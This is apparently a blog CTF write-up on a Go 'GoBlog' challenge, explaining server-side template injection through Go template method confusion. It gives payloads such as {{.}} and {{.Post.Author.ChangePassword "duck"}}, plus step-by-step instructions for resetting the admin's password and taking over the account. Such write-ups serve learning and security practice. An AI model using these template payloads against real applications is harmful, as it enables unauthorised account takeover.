DEV Community

pirateducky
pirateducky

Posted on • Updated on

SSTI Method Confusion in Go.

GoBlog

Image description

Summary

This is a write up for a CTF.

The application is vulnerable to SSTI method confusion, mentioned here. This means you can access methods available to the struct that is being passed in the templates, /web/ shows the templates that are being served and /models/ shows the functions that are being used. By abusing how templates work in golang we can access the ChangePassword method and change the admin's password allowing us to take over the admin account and access /admin

Image description

SSTI

The SSTI idea came from knowing the contents of /web/ which includes the admin template where the flag is referenced as {{.Flag}} and the rest of the templates for the blog.



admin.html.tmpl
base.html.tmpl
index.html.tmpl
new_post.html.tmpl
post.html.tmpl
profile.html.tmpl
signin.html.tmpl
signup.html.tmpl


Enter fullscreen mode Exit fullscreen mode

The usual payloads to test SSTI do not work here, if you try to use something {{7*7}} the application will break, instead we can use {{.}} to see what data is being passed to template by changing the username to data: {{.}} in /profile after logging in. Here we get this information reflected in the username on the top right corner, we can also use the {{.CurrentUser}} object that is passed to the template to check out the data that's in there.

Image description



{
    38e367f9-6065-4717-87bf-5fd938589b8f 
    {{.CurrentUser}}  
    09d8d7b2345e48f3dbe42d81883b9cf4a5d2de2264929c0a99d0957fcfba3d697b30bf4b5b3c0218f211a037446fbda831949d46d9a15cc30e503a63474ec4e5 
    duck@gmail.com false 2021-09-18 18:37:39.851096876 +0000 UTC 
    2021-09-18 19:04:01.69805924 +0000 UTC
}


Enter fullscreen mode Exit fullscreen mode

Confused

If we look at /models/ this is where the application holds logic that interacts with the database, the most interesting functions are in /models/users.go, which has functions that we can execute with our SSTI, but only a few where we can pass arguments and have the needed data structures available for the rest of the parameters. The function I wanted to invoke was the Create() function in the users.go but it doesn't take any arguments and uses the data structure passed to the template. The other interesting function that would allow me to pass arguments is the ChangePassword(newPassword string) but if we call it like {{.CurrentUser.ChangePassword "duck"}} it would change our own password which is cool but it would be cooler if we could change congon4tor's password instead. The problem is the data structure that we are passing while in the /profile template contains our own details.

The /profile template file includes the data structure CurrentUser which has all the information for our current user and is what we can use to access the other methods inside of users.go the data in that structure is what fills the parameters in the functions we want to hijack.



 // template for /profile
{{define "styles"}}
  <style></style>
{{ end }}
{{define "content"}}
    <div class="container">
      <div class="row">
        <div class="jumbotron mt-5">
            <form action="/profile" method="post">
                <div class="mb-3">
                    <label for="exampleFormControlInput1" class="form-label">Username</label>
                    <input type="text" class="form-control" id="exampleFormControlInput1" placeholder="Username" name="username"  value="{{.CurrentUser.Username}}">
                </div>
                <div class="mb-3">
                    <label for="exampleFormControlInput2" class="form-label">Email</label>
                    <input type="text" class="form-control" id="exampleFormControlInput2" placeholder="Email" readonly value="{{.CurrentUser.Email}}">
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
            </form>
        </div>
      </div>
    </div>
{{end}}


Enter fullscreen mode Exit fullscreen mode

We need to somehow get the data structure to show congon4tor's information, if we use our {{.}} payload we can check if any page discloses that information, here I used the original blog post that was there when we sign in, if we access the post from the admin we can see the data structure is from the congon4tor user, which is what we need.

Image description



{[{
    5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a 
    {
        608a3505-2fa9-46b6-b149-e085f3f2e85b 
        congon4tor  
        1ebbab4803520862d1a5ba5bcc192643e03562c0a59a0b48911336e0c07e0a4ad8d4710b385935a35c176bb29c847281ba75721c849105f37d24b8e934c3a1ac congo@congon4tor.com 
        false 
        2021-07-24 13:26:01.837939032 +0200 +0200 
        2021-07-24 13:26:01.837938977 +0200 +0200
    } 
    Welcome to GoBlog Welcome to GoBlog a website where you can post all your travel adventures for others to enjoy. Talk about the places you visited, the food you tried, the people you met and the culture of the place you visited. It is also a good idea to give others some tips and tricks you learnt during your trip.
    Thanks for sharing with the community!  
    https://www.bloggingwp.com/wp-content/uploads/2018/01/Travel-blog.jpeg 
    2021-07-24 13:42:53.033357338 +0200 +0200 
    2021-07-24 13:42:53.033357391 +0200 +0200
}]}


Enter fullscreen mode Exit fullscreen mode

But how can we access the ChangePassword function from the post's page thought? If we try to use the same payload as before {{.CurrentUser.ChangePassword "duck"}} and then go to the post url [http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a](http://challenge.ctf.games:31814/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a) the application will break because we do not have {{.CurrentUser}} in our /post template:



{{define "content"}}
        <header class="masthead" style="background-image: url('{{.Post.Thumbnail}}')">
            <div class="tint">
                <div class="container position-relative px-4 px-lg-5">
                    <div class="row gx-4 gx-lg-5 justify-content-center">
                        <div class="col-md-10 col-lg-8 col-xl-7">
                            <div class="post-heading mt-3">
                                <h1>{{.Post.Title}}</h1>
                                <span class="meta">
                                    Posted by
                                    {{.Post.Author.Username}}
                                    on {{.Post.UpdatedAt.Format "02 Jan 06 15:04"}}
                                </span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </header>
        <div class="container px-4 px-lg-5">
            <div class="row gx-4 gx-lg-5 justify-content-center">
                <div class="col-md-10 col-lg-8 col-xl-7">
                    <pre class="content">{{.Post.Content}}</pre>
                </div>
            </div>
        </div>
{{end}}


Enter fullscreen mode Exit fullscreen mode

But we do have access to {{.Post}} which discloses information from the author, the object contains all the information we need to for the ChangePassword function. Now how can we access the method we need? We can do it by calling it directly from the author struct, this is possible because the author struct being used here is our Users struct which contains the ChangePassword function we need, and the data being passed in this post wil fill the parameters with the admin's details



func (u User) ChangePassword(newPassword string) error {
    db := GetConnection()
    q := `UPDATE users set hashed_password=?
            WHERE id=?`
    stmt, err := db.Prepare(q)
    if err != nil {
        return err
    }
    defer stmt.Close()

    h := sha512.New()
    h.Write([]byte(newPassword))
// this will be the admins ID when we visit the blog's page
    r, err := stmt.Exec(hex.EncodeToString(h.Sum(nil)), u.ID)
    if err != nil {
        return err
    }

    if i, err := r.RowsAffected(); err != nil || i != 1 {
        return errors.New("ERROR: Expected one row modified")
    }

    return nil
}


Enter fullscreen mode Exit fullscreen mode

Now with that information, we'll need to:

  1. Change our username to our payload: {{.Post.Author.ChangePassword "duck"}}
  2. Navigate to congon4tor's blog post
    1. http://challenge.ctf.games:31737/post/5e6ef653-0f54-4e0b-b9dd-c5898bcfb20a
    2. At this point the password has been changed but you need the email address to login
  3. Get congon4tor email by setting our username to {{.Post.Author.Email}}
  4. Navigate to congon4tor's blog post again (email should be on the top right hand side)

Image description

  1. Sign into congon4tor's account using:

    email: congo@congon4tor.com

    password: duck

  2. Access /admin

Image description

Top comments (0)